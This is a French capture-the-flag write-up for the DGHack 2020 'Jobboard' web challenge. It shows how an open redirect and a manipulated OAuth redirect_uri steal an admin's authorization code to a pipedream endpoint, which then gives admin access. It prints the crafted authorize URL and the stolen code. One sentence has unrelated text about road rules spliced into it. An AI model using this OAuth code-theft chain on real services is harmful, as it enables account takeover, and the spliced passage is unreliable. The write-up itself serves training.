---
tags: DGA, 2020, CTF, WEB
---

# Write-Up - DGHack - 2020 - Jobboard
## Catégorie: Web | Difficulté: Difficile

###### Enoncé

> En cherchant un job d’ingénieur en cybersécurité, vous avez trouvé un site web proposant des annonces très intéressantes, mais il faut des identifiants particuliers pour y accéder.
\
Pourrez-vous en découvrir un ? Il parait que le compte admin permet de visualiser les futures offres en cybersécurité étatique à DGA MI ?

En arrivant sur le site, on tâte un peu toutes les pages pour voir ce qu'il y a de beau.
On remarque la présence d'une page contact ainsi qu'une page de connection avec laquelle on peut se connecter en tant que `test:test`.

Essayons d'envoyer un message depuis la page contact.


Nous n'avons pas de retours particulier, pas de faille xss à exploiter à priori.

Connectons nous en tant que `test:test` pour voir à quoi nous avons accès. On remarque au passage que l'on se connecte avac OAuth.

Nous avons désormais accès à une page permettant de parcourir plusieurs offres, dont une qui n'est visible que par l'admin.


Lorsque l'on clique sur une offre, nous sommes redirigés vers `http://example.com/` via ce lien: `http://jobboard2.chall.malicecyber.com/safelink/http%3A%2F%2Fexample.com%2F`, avec l'addresse de redirection située après le `safelink/` en URL encoding.

C'est bien beau tout ça, mais que faire maintenant ?

Il faudrait peut-être réussir à faire en sorte que l'admin clique sur un lien de ce type: `http://jobboard2.chall.malicecyber.com/safelink/<MON_SERVEUR_URL_ENCODED>` afin de lui faire cracher ses cookies en paramètre par exemple ou au autre !

Retournons sur la page de contact et écrivons dans le field message un endpoint RequestBin. Envoyons le message et observons sur RequestBin si miraculeusement une personne clique sur le lien.


Excellent, quelqu'un (l'admin certainement ?) a bien cliqué sur le lien !

J'ai d'abord pensé à essayer de faire cracher à l'admin ses cookies, mais je n'ai pas trouvé de moyen de le faire seulement en envoyant un lien http. On ne peut pas dans l'url faies règles de circulation et les dispositions du code de la route à l’égard des cavaliers, de lre un `?cookies=document.cookie` :sweat_ses règles de circulation et les dispositions du code de la route à l’égard des cavaliers, de lmile:

Après de longues réfléxions, de long bidouillages en tout genre, je me suis penché sur la connection OAuth.
En se renseignant un peu plus en détail sur le protocol utilisé par OAuth, on apprend comment les échanges sont réalisés avec le client:


> 1. Le client redirige le propriétaire de la ressource vers le serveur d’autorisation. Le client doit inclure son identifiant dans la requête de redirection et le niveau d’accès qu’il souhaite obtenir.
>2. Le propriétaire de la ressource s’authentifie auprès du serveur d’autorisation et approuve ou non la requête du client.
>3. Si la requête est autorisée, **le serveur d’autorisation redirige** à nouveau le propriétaire de la ressource en utilisant **l’URL de redirection défini par le client**. Cette URL est renseignée à l’enregistrement du client et peut aussi être choisie dans la requête à l’étape 1. La requête de redirection **contient un code d’autorisation dans l’URL**.
>4. Avec le code d’autorisation ainsi obtenu, le client demande un token d’accès en prenant le soin de s’authentifier à son tour auprès du serveur d’autorisation.
>5. Une fois le client authentifié, le serveur d’autorisation valide le code d’autorisation et s’assure que l’URL de redirection est identique à celle utilisée dans la troisième étape. Si toutes ces contraintes sont respectées, le serveur d’autorisation renvoie au client un token d’accès et éventuellement un token de rafraîchissement.

J'ai mis en gras dans le 3ème point des informations qui me paraissent être intéressant ! L'url de redirection, qui contiendra le code d'autorisation lors de la réponse, est défini par le client. Cela signifie que nous allons pouvoir la changer, afin que le code de soit renvoyé vers notre endpoint RequestBin, pour ensuite demander un token grâce à ce code.

En analysant les requêtes avec Burp, on retrouve le schéma décrit ci-dessus:


On remarque que le paramètre `redirect_uri` est passé dans l'url. Il faut réussir à faire en sorte qu'il redirige au final vers notre endpoint, mais tout en ayant le même nom de domaine que `http://jobboard2.chall.malicecyber.com`.
Comment faire ?

Eh bien on va utiliser ce que l'on a trouvé précedemment, c'est-à-dire: `http://jobboard2.chall.malicecyber.com/safelink/<MON_SERVEUR_URL_ENCODED>`

:::warning
**Attention**
L'adresse contenue dans la `redirect_uri` est URL encoded, et donc au final `<MON_SERVEUR_URL_ENCODED>` sera deux fois URL encoded.
:::

Testons voir avec burp, en modifiant la requête POST en remplacant la ressource par:

:::info
<div style="display: inline">/oauth/authorize?client_id=svvhKlyEA7qODbl16JTUPQNz&response_type=code&redirect_uri=<b>URL_ENCODED(</b>http://jobboard2.chall.malicecyber.com/safelink/<b>ULR_ENCODE(</b>https://xxx.m.pipedream.net<b>))</b>&scope=profile</div>

Avec la fonction `URL_ENCODE` déjà appliquée, ici ce n'est que par soucis de clareté.
:::

On va check sur RequestBin... et Bingo!


On reçoit bien le code envoyé par le serveur d'autorisation!

Nous avons plus qu'à rajouté le nom de domaine et sous-domaine pour former l'URI complète, et à l'envoyer par le formulaire de contact pour récupérer le code de l'admin !

Je reçois ce code admin: `GzHUBoFw639LRch8zjLJoOOhpbeUGkr1Xoifm1IX3UXnjRnQ`

Maintenant, on va se connecter normalement avec l'utilisateur `test:test`, et à l'aide de Burp, on va juste remplacer notre code par celui de l'admin.

Nous voilà donc connecter en tant qu'admin !


**Flag: DontRollYourOwn**